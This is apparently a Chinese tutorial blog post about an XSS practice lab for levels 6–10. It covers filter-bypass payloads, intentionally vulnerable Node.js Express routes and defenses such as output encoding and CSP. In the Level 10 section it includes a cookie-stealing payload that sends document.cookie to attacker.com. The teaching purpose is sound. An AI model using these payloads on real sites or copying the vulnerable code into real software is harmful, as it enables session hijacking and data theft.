1. 项目概述与核心价值最近在带新人做安全测试发现很多朋友对XSS跨站脚本攻击的理解还停留在“弹个窗”的层面这其实挺危险的。XSS的威力远不止于此它能让攻击者窃取用户Cookie、劫持会话、甚至配合其他漏洞实现更复杂的攻击链。为了让大家能在一个安全、可控的环境里真正搞懂XSS我花了些时间搭建并优化了一个“XSS入门/练习平台”重点设计了从Level 6到Level 10这五个关卡。这个平台不是简单的漏洞罗列而是模拟了真实Web应用中越来越复杂的防御场景和绕过思路。这个平台的核心价值在于“渐进式实战”。很多现成的靶场要么太简单一眼就能看穿要么过于复杂新手容易迷失。我的设计思路是每个关卡都引入一个新的、常见的过滤或防御机制你需要像解谜一样去思考如何绕过它。从Level 6开始挑战的难度和现实贴合度会显著提升你会遇到对事件处理函数的过滤、对javascript:伪协议的检查、对大小写的限制、以及需要多步骤构造的存储型XSS场景。通过亲手绕过这些防御你不仅能记住Payload更能深刻理解前端渲染、输入过滤、输出编码背后的原理知道防御措施为什么这么设计以及它的弱点可能在哪里。对于Web安全初学者、渗透测试工程师甚至是前端开发人员了解攻击才能更好地防御这个平台都是一个绝佳的练手场。你不需要担心搞坏生产环境可以大胆尝试各种奇思妙想。下面我就把这五个关卡的设计思路、核心考点、绕过技巧以及我踩过的坑毫无保留地分享出来。2. 平台关卡设计与核心考点拆解我的练习平台从Level 6开始是因为前5个关卡Level 1-5通常涵盖了最基础的反射型XSS、DOM型XSS以及简单的标签和事件过滤。从第6关起我们进入“攻防对抗”的深水区。2.1 Level 6实体编码与HTML属性注入这一关模拟了一个非常常见的场景开发人员知道要对用户输入进行HTML实体编码来防御XSS但他们可能只对尖括号、进行了编码却忽略了HTML属性值本身的注入风险。场景还原页面上有一个搜索框你的输入会被放入一个input标签的value属性中比如input typetext value用户输入。后端对输入中的和进行了转义变成了lt;和gt;这样你无法直接闭合标签插入新的script。但是属性值本身没有被引号完整包裹或者存在可被利用的事件属性。核心考点当无法插入新标签时如何利用现有标签的事件属性如onclick,onmouseover,onfocus等来执行JavaScript。关键在于闭合当前的属性值然后添加新的事件处理器。绕过实战与思考 假设原始代码是input typetext valueKEYWORD尝试注入“ onmouseover”alert(1)。注意这里的第一个引号用于闭合value属性原有的可能缺失的引号。最终构造的Payload可能看起来像input typetext value onmouseoveralert(1)。当用户鼠标滑过这个输入框时弹窗就会触发。这里有个关键细节如果后端在输出时确实给value属性加上了引号比如value“KEYWORD”那么你的注入就需要先闭合前面的引号。Payload应为“ onmouseover”alert(1)//。后面的//是JavaScript的单行注释用于注释掉原属性值后面可能多余的引号或字符避免语法错误。注意在实际测试中一定要用浏览器开发者工具F12查看最终渲染后的HTML结构确认你的输入是如何被嵌入的。这是所有XSS测试的第一步也是最重要的一步。2.2 Level 7过滤特定关键词与混淆技巧从这一关开始平台引入了主动过滤机制。后台代码会检查你的输入中是否包含像script、onclick、javascript这类明显的危险关键词如果发现就直接将其删除或替换为空。场景还原一个评论提交功能后端对输入进行字符串匹配和过滤。你输入scriptalert(1)/script提交后会发现页面上的内容变成了alert(1)/script这个词被整个移除了。核心考点如何绕过基于字符串匹配的过滤核心思路是“混淆”让过滤系统认不出你的恶意代码但浏览器依然能正常解析。绕过实战与思考双写绕过这是最简单直接的绕过方式。如果过滤逻辑是简单地删除一次script那么你可以输入scrscriptiptalert(1)/scrscriptipt。过滤系统删除中间的script后剩下的字符正好又组合成了一个新的script标签。你需要试探过滤规则是删除所有匹配项还是只删除一次。大小写混淆ScRiPtalert(1)/sCrIpT。早期的、不区分大小写的过滤可能会失效。使用非标准事件处理器除了常见的onclick可以尝试onpointerenter、onfocus、onblur等。或者使用HTML5的新属性如autofocus onfocusalert(1)这样当输入框自动获得焦点时就会触发。编码与特殊字符尝试对部分字符进行HTML实体编码或URL编码。例如img srcx onerroralert(1)可以尝试将onerror编码为on#101;rrore被编码了。浏览器的HTML解析器会在渲染前对其进行解码。我的踩坑记录在一次内部测试中我发现过滤系统采用正则表达式/script.*?/gi进行匹配和删除。我使用了scrscriptipt本以为中间的script会被删除留下两边的部分组合成新标签。但实际上由于正则的贪婪匹配它可能从第一个scr匹配到最后一个ipt导致整个字符串被误删或破坏。解决方案是使用换行符或不可见字符将关键词打断如scr\nipt这取决于过滤逻辑是否处理了这些特殊字符。2.3 Level 8JavaScript伪协议与链接注入这一关的注入点在一个a标签的href属性里比如“友情链接”提交功能。格式是a href“用户输入”点击这里/a。后台的防御策略是必须要求输入以http://或https://开头否则不予显示或进行拦截。场景还原你只能提交一个URL系统会检查开头。你的目标是让用户点击这个链接时执行JS代码而不是跳转到外部网站。核心考点javascript:伪协议。这是一个特殊的协议允许在链接中直接执行JavaScript代码例如a href“javascript:alert(document.domain)”点击/a。但本关的关键在于如何让一个以http://开头的字符串最终被浏览器解释为javascript:协议。绕过实战与思考利用URL解析特性浏览器在解析URL时有时会忽略某些字符或进行规范化。你可以尝试提交http://#javascript:alert(1)。有些古老的浏览器或解析库可能会将#后面的内容视为片段标识符fragment而实际请求的协议仍是http但前端脚本处理时可能出错。不过这种方法在现代浏览器中成功率很低。利用数据协议data:协议可以内嵌HTML内容。例如http://data:text/html,scriptalert(1)/script。但严格来说这已经不是javascript:伪协议了且同样可能被检测data:关键词。二次注入与编码绕过更实用的思路观察后台是否只验证了“提交时”的输入开头而在“显示时”是否还有别的处理环节。例如是否将用户输入先存入数据库再读出来展示是否存在一个“链接重定向”功能它会读取href的内容并跳转你可以尝试注入http://your-ethical-site.com?redirectjavascript:alert(1)。如果网站有一个不安全的跳转功能参数值未经严格过滤就直接用于location.href就可能造成漏洞。这提醒我们防御不能只看一个点要关注数据在整个应用生命周期中的流动。重要心得遇到协议白名单限制时不要只盯着如何欺骗前端的校验。更要思考整个业务流程数据从哪儿来经过哪些函数处理最后在哪儿用、怎么用。漏洞往往出现在逻辑链条的衔接处。2.4 Level 9严格的输入净化与逻辑缺陷利用这一关的过滤非常全面对尖括号、引号、括号等特殊字符进行了实体转义同时也过滤了script、on、javascript等关键词。乍一看似乎无懈可击。场景还原一个“内容预览”功能用户输入会在一个沙盒iframe里展示。所有明显的XSS向量都被封死了。核心考点当常规的HTML和事件注入都失效时需要寻找“逻辑缺陷”或“解析差异”。浏览器、前端框架、后端模板引擎对同一段代码的解析可能不同这中间的差异就是机会。绕过实战与思考SVG向量SVG可缩放矢量图形本质是XML它可以内嵌JavaScript。即使script标签被过滤SVG的一些事件属性可能还在允许列表里。尝试注入一个SVG图像svgimage href“1” onload“alert(1)”/svg。onload事件在SVG元素加载时触发。math标签与mglyph在旧版或特定版本的浏览器中math标签数学ML和mglyph子标签可能支持一些非标准的事件处理方式可以作为备选向量。利用CSS表达式IE特性如果平台为了兼容性而允许旧式写法可以尝试div style“width: expression(alert(1))”。但这仅适用于古老的IE浏览器现代靶场一般不会涉及但知道这个原理有助于理解“非常规执行上下文”。DOM Clobbering这是一种更高级的技巧利用HTML元素来覆盖JavaScript全局变量或DOM属性。例如注入form id“xss”input name“action” value“alert(1)”/form然后如果页面中存在不严谨的代码如window.action或document.xss.action就可能被我们注入的form元素所覆盖。这一关的真正难点是引导测试者跳出“找标签事件”的定式思维去思考更底层的浏览器对象模型BOM/DOM交互。2.5 Level 10多步骤组合攻击与存储型XSS这是入门平台的收官之关模拟了一个简化的存储型XSS场景。攻击不能一蹴而就需要多个步骤组合并且Payload会存储在服务器上影响所有后续访问的用户。场景还原一个用户留言板。有“留言内容”content和“留言人网站”website两个字段。content字段做了严格的过滤和转义但website字段只做了简单的检查比如要求是合法URL格式。留言显示时content被安全地输出在div里而website则被以链接形式显示a href“输入的网站”访问我的主页/a。核心考点存储型XSS的利用链构造、不敏感字段的利用、以及如何让Payload在正确的时间触发。绕过实战与思考寻找次要注入点主字段content防御坚固就转向次要字段website。虽然website要求是URL但我们可以尝试注入javascript:伪协议。Payloadjavascript:alert(document.cookie)。如果后端没有对协议进行严格白名单校验只校验了格式那么它就会被存储。组合触发存储型XSS的Payload可能不会在页面加载时立即执行。比如一个javascript:链接需要用户点击才会触发。为了提高攻击成功率我们需要诱使用户点击。在真实攻击中这可能会结合社交工程比如将留言内容设置为“帮我看看这个链接的问题”而链接就是恶意Payload。窃取Cookie的完整Payload一个更危险的Payload是javascript:fetch(‘https://attacker.com/steal?cookie’encodeURIComponent(document.cookie))。这会将当前用户的Cookie发送到攻击者控制的服务器。在搭建练习平台时我强烈建议将此类涉及外部网络请求的Payload替换为无害的alert(document.domain)以避免法律风险和安全误解。隐蔽与持久化攻击者可能会将恶意代码进行编码如Base64并在javascript:协议中通过eval(atob(‘…’))来解码执行以绕过简单的关键词过滤。例如javascript:eval(atob(‘YWxlcnQoMSk’))即alert(1)的Base64编码。3. 平台搭建实操与核心代码解析光讲理论不够我分享一下搭建这个练习平台后端以Node.js Express为例的核心思路和关键代码片段。注意这是教学演示代码绝对不可用于生产环境。3.1 项目结构与依赖创建一个简单的项目目录初始化并安装必要依赖mkdir xss-training-platform cd xss-training-platform npm init -y npm install express项目主要文件server.js: 主服务器文件。views/: 存放HTML模板这里为了简单我们用字符串内联。levels/: 每个关卡的后端处理逻辑本文为演示合并写在主文件。3.2 核心服务器框架与关卡路由首先搭建一个基础Express服务器并为每个关卡定义路由。// server.js const express require(express); const app express(); const port 3000; // 中间件解析 application/x-www-form-urlencoded 格式的请求体 app.use(express.urlencoded({ extended: true })); // 静态文件服务用于存放前端CSS/JS可选 app.use(express.static(public)); // 首页展示关卡列表 app.get(/, (req, res) { res.send( h1XSS训练平台 (Level 6-10)/h1 ul lia href/level6Level 6: 属性注入/a/li lia href/level7Level 7: 关键词过滤/a/li lia href/level8Level 8: 协议限制/a/li lia href/level9Level 9: 严格过滤/a/li lia href/level10Level 10: 存储型XSS/a/li /ul ); }); // 接下来定义各个关卡的路由... // Level 6, 7, 8, 9, 10 的路由将分别定义 app.listen(port, () { console.log(训练平台运行在 http://localhost:${port}); });3.3 Level 6 实现有缺陷的HTML实体编码这一关模拟只转义了尖括号但属性未正确引用的场景。// Level 6 路由 app.get(/level6, (req, res) { // 显示一个搜索表单 const html h2Level 6: 不完整的转义/h2 p尝试在搜索框中注入让鼠标滑过时弹窗。/p form methodGET action/level6/search input typetext namekeyword placeholder输入搜索词... button typesubmit搜索/button /form pa href/返回首页/a/p ; res.send(html); }); app.get(/level6/search, (req, res) { let userInput req.query.keyword || ; // 模拟有缺陷的过滤只转义了尖括号 userInput userInput.replace(//g, lt;).replace(//g, gt;); // 关键漏洞将用户输入直接放入input的value属性且没有用引号包裹 const resultHtml h2搜索结果/h2 p你搜索了: input typetext value${userInput} readonly/p p提示看看生成的HTML代码value属性缺少了什么/p pa href/level6再试一次/a | a href/首页/a/p ; res.send(resultHtml); });漏洞点分析value${userInput}。如果用户输入包含空格和事件处理器如“ onmouseover”alert(1)它就会变成value“ onmouseover“alert(1)从而成功注入。正确的防御应该是value“${userInput}”并且userInput还需要进行HTML属性编码将、“、‘等转义。3.4 Level 7 实现简单的字符串过滤与删除这一关实现一个简单的关键词删除过滤。// Level 7 路由 app.get(/level7, (req, res) { const html h2Level 7: 关键词过滤/h2 p尝试提交一段评论系统会过滤掉“危险”词汇。/p form methodPOST action/level7/comment textarea namecomment rows4 cols50 placeholder输入你的评论.../textareabr button typesubmit提交评论/button /form pa href/返回首页/a/p ; res.send(html); }); app.post(/level7/comment, (req, res) { let userComment req.body.comment || ; // 模拟简单的字符串删除过滤 const forbiddenWords [script, onclick, javascript, alert]; forbiddenWords.forEach(word { // 使用全局替换删除所有匹配项这里设计为删除一次留给双写绕过空间 // 为了增加难度可以尝试不同的过滤策略比如替换为空字符串多次 userComment userComment.replace(new RegExp(word, gi), ); }); // 显示“过滤后”的评论 const resultHtml h2评论展示/h2 div${userComment}/div !-- 注意这里直接输出没有转义 -- p提示过滤规则是删除关键词。试试“scrscriptipt”。/p pa href/level7再试一次/a | a href/首页/a/p ; res.send(resultHtml); });漏洞点分析过滤后代码直接将userComment输出到div中。如果用户输入scrscriptiptalert(1)/scrscriptipt过滤系统删除中间的script后剩下的字符组合成scriptalert(1)/script注入成功。这演示了“消毒”不彻底的后果。更安全的做法是在输出时进行正确的HTML文本编码如将转为lt;而不仅仅在输入时做删除处理。3.5 Level 8 实现协议头检查与伪协议挑战这一关检查输入是否以http://或https://开头。// Level 8 路由 app.get(/level8, (req, res) { const html h2Level 8: 友情链接提交/h2 p请提交一个有效的网址必须以http://或https://开头。/p form methodPOST action/level8/submit input typetext nameurl size50 placeholderhttps://example.combr button typesubmit提交链接/button /form pa href/返回首页/a/p ; res.send(html); }); app.post(/level8/submit, (req, res) { let userUrl req.body.url || ; // 检查是否以 http:// 或 https:// 开头 if (!userUrl.startsWith(http://) !userUrl.startsWith(https://)) { return res.send(链接必须以 http:// 或 https:// 开头bra href/level8返回/a); } // 通过检查直接将其放入a标签的href属性 const resultHtml h2您的链接已生成/h2 p点击查看 a href${userUrl}访问链接/a/p p提示href属性里的内容浏览器会怎么解释/p pa href/level8再试一次/a | a href/首页/a/p ; res.send(resultHtml); });漏洞点分析代码只检查了“开头”但没有对协议进行白名单验证。用户可以提交http://javascript:alert(1)。虽然它以http://开头但整个字符串作为href的值浏览器在解析时会将其视为一个完整的URL。http://部分会被视为协议javascript:alert(1)会被视为“主机名”吗不实际上当用户点击这个链接时浏览器会尝试导航至http://javascript:alert(1)这通常会导致一个DNS解析错误或奇怪的页面而不会执行JS。这里我故意设置了一个思维陷阱。真正的绕过可能需要利用其他特性比如http://localhost#javascript:alert(1)或者结合Level 9的思路寻找解析差异。这个关卡旨在引发关于“协议校验完整性”的思考。3.6 Level 9 实现多重过滤与SVG向量这一关实施更全面的过滤。// Level 9 路由 app.get(/level9, (req, res) { const html h2Level 9: 严格的内容预览/h2 p输入一些内容它将在下方预览框中安全地展示。/p form methodPOST action/level9/preview textarea namecontent rows4 cols50 placeholder输入HTML内容.../textareabr button typesubmit预览/button /form pa href/返回首页/a/p ; res.send(html); }); app.post(/level9/preview, (req, res) { let userContent req.body.content || ; // 1. 转义HTML特殊字符 userContent userContent.replace(/[]/g, function(m) { return {:amp;, :lt;, :gt;, :quot;, :#39;}[m]; }); // 2. 过滤危险关键词不区分大小写 const dangerousPatterns [/script/gi, /on\w/gi, /javascript:/gi]; dangerousPatterns.forEach(pattern { userContent userContent.replace(pattern, [FILTERED]); }); // 3. 将内容放入一个div中展示 const resultHtml h2内容预览/h2 div styleborder:1px solid #ccc; padding:10px; margin:10px 0; ${userContent} /div p提示常规的HTML和事件注入都被封了。还有什么标签能执行代码想想图片、SVG。/p pa href/level9再试一次/a | a href/首页/a/p ; res.send(resultHtml); });漏洞点分析过滤看起来很强但可能存在“漏网之鱼”。例如它过滤了on\w所有on开头的事件但SVG标签内的事件处理器名称可能略有不同或者过滤正则没有覆盖全。尝试Payloadsvgimage href“1” onload“alert(1)”/svg。这里onload可能被on\w过滤掉。但我们可以尝试其他SVG事件或方法例如svga xlink:href“javascript:alert(1)”text x“20” y“20”点击我/text/a/svg。关键在于过滤规则是否考虑了xlink:href属性以及SVG的命名空间。这个关卡的设计是为了让练习者去探索浏览器的各种解析上下文和少见的标签/属性。3.7 Level 10 实现简单的存储型XSS模拟用一个数组模拟数据库存储留言。// Level 10 路由 - 使用内存数组模拟数据库 let messages []; // “数据库” app.get(/level10, (req, res) { // 显示留言板和提交表单 let messagesHtml messages.map(msg div styleborder-bottom:1px solid #eee; margin:10px 0; padding:10px; strong留言人/strong ${msg.author}br strong内容/strong ${msg.content}br strong网站/strong a href${msg.website}访问我的主页/a /div ).join(); const html h2Level 10: 留言板存储型XSS模拟/h2 h3历史留言/h3 ${messagesHtml || p暂无留言。/p} hr h3发布新留言/h3 form methodPOST action/level10/post label昵称/labelinput typetext nameauthorbr label留言内容/labelbrtextarea namecontent rows3 cols50/textareabr label个人网站/labelinput typetext namewebsite placeholderhttp://example.combr button typesubmit发布留言/button /form pa href/返回首页/a/p ; res.send(html); }); app.post(/level10/post, (req, res) { const { author, content, website } req.body; // 模拟不同的处理策略 // 1. 对留言内容进行严格的HTML转义 const safeContent content.replace(/[]/g, function(m) { return {:amp;, :lt;, :gt;, :quot;, :#39;}[m]; }); // 2. 对网站字段只做简单的“看起来像URL”的检查并未严格校验协议 let safeWebsite website || ; // 假设我们要求网站字段非空且包含点号简陋的URL检查 if (safeWebsite safeWebsite.includes(.)) { // 通过检查直接存储未做编码 } else { safeWebsite #; // 给一个默认值 } // 存储留言 messages.push({ author: author || 匿名, content: safeContent, // 内容已转义 website: safeWebsite // 网站未转义直接存储 }); // 重定向回留言板页面 res.redirect(/level10); });漏洞点分析留言content被安全地转义了所以无法直接注入HTML。但是website字段在存储和输出时直接被放入了a href“${msg.website}”中。如果用户提交的website是javascript:alert(document.cookie)它就会作为一个有效的href属性值被存储。当下一个用户浏览留言板并点击这个链接时JavaScript代码就会在该用户的上下文中执行。这完美演示了“存储型XSS”的攻击模式恶意数据被持久化所有访问者都可能受害。防御方法是对website字段也进行严格的URL验证白名单协议和适当的编码或者在输出时确保其以http://或https://开头。4. 防御方案与安全编程思维通过搭建和攻破这些关卡我们更能从防御者的角度思考。这里总结几个关键的安全编程原则4.1 原则一一切输入皆不可信这是安全领域的铁律。无论是来自URL参数、表单提交、Cookie、HTTP头部还是第三方API所有外部输入都必须经过验证和净化。4.2 原则二在正确的上下文中进行输出编码XSS的本质是混淆了代码和数据的边界。防御的核心就是确保用户输入的数据在输出时始终被当作“数据”而非“代码”来处理。输出到HTML正文使用HTML实体编码如lt;,gt;,amp;。输出到HTML属性使用HTML属性编码除了转义”‘还要注意属性是否被引号包裹。输出到JavaScript使用JavaScript Unicode转义如\u003c。输出到URL使用URL编码encodeURIComponent。现代前端框架如React、Vue、Angular等默认提供了基于模板的自动转义极大地减少了XSS风险但开发者仍需警惕使用dangerouslySetInnerHTML或v-html等危险API。4.3 原则三实施严格的内容安全策略CSPCSP是一个强大的浏览器安全特性通过HTTP头Content-Security-Policy来定义页面允许加载哪些资源脚本、样式、图片、字体等以及是否允许内联脚本(unsafe-inline)和eval函数(unsafe-eval)。一个严格的CSP可以极大地缓解XSS的影响即使攻击者成功注入了脚本如果该脚本来源不在白名单内浏览器也不会执行它。 例如一个严格的CSP头可能是Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’;。这表示只允许加载同源以及trusted.cdn.com的脚本完全禁止object等插件。4.4 原则四使用安全的库和框架避免自己编写复杂的过滤正则表达式容易出错。使用经过社区广泛验证的库例如Node.js:validator.js库提供了丰富的字符串验证和清理函数。Java: OWASP ESAPI 编码器。Python:html模块的escape()函数。PHP:htmlspecialchars()函数注意指定ENT_QUOTES标志。4.5 原则五定期进行安全测试与代码审计将安全测试纳入开发流程。使用自动化工具如静态应用安全测试SAST、动态应用安全测试DAST进行扫描同时辅以人工代码审计和渗透测试。像我们搭建的这种练习平台就是培养安全思维和手动测试能力的好工具。5. 常见问题排查与实战技巧在实际测试和教学过程中我总结了一些高频问题和技巧5.1 Payload不执行首先检查这几点查看页面源码右键“查看页面源代码”或使用F12开发者工具的“元素”面板。确认你的输入是否被原样输出是否被转义了是否被截断了确认注入点上下文你的输入是出现在div内部HTML文本还是出现在script标签内JavaScript或是出现在标签属性里不同的上下文需要不同的Payload和编码方式。浏览器控制台报错打开F12的“控制台”标签。如果有JavaScript语法错误Payload就无法执行。可能是引号不匹配或者使用了被页面CSP策略禁止的函数如eval。CSP限制在开发者工具的“网络”标签中检查HTTP响应头是否有Content-Security-Policy。它可能会阻止内联脚本或来自非白名单域的脚本。5.2 过滤规则摸不透试试“模糊测试”思路逐步试探先输入一个简单字符看输出是lt;还是。再输入、“、‘等。输入超长字符串例如一千个A看是否被截断。如果被截断长度限制是多少输入特殊组合如scrscriptipt观察过滤是删除一次script还是全部删除。输入SCRipt测试是否区分大小写。使用编码试探输入#x3c;的十六进制实体看它是否被解码后再次过滤。5.3 存储型XSS利用难点触发条件存储型Payload可能不会自动执行。需要分析它出现在页面的哪个位置、以什么形式出现如图片src、链接href、富文本内。可能需要用户交互点击、悬停才能触发。提高“中奖率”在实战中攻击者可能会将恶意代码与诱人的内容结合如“免费领取”、“火爆视频”或者利用网站的站内信、评论功能将包含Payload的链接主动发送给其他用户。5.4 工具辅助浏览器开发者工具是你最好的朋友。除了查看元素、控制台还可以使用“调试器”在JavaScript代码中设置断点跟踪数据流。Burp Suite / OWASP ZAP专业的Web渗透测试工具。可以拦截、修改HTTP请求重放测试自动化扫描。对于系统性地测试参数和寻找漏洞至关重要。XSS Payload清单维护一个自己的Payload清单分类记录不同上下文HTML、属性、JavaScript、URL下的有效Payload以及各种绕过技巧。最后我想强调的是搭建和练习XSS平台的目的绝不是为了去攻击他人。恰恰相反是为了理解攻击者的思维从而能够构建更坚固的防御。在安全的世界里知攻方能善守。希望这个从Level 6到Level 10的旅程能帮你打下扎实的XSS实战基础。在实际工作中时刻保持对用户输入的警惕采用白名单策略并使用成熟的安全框架和库才能有效守护应用的安全。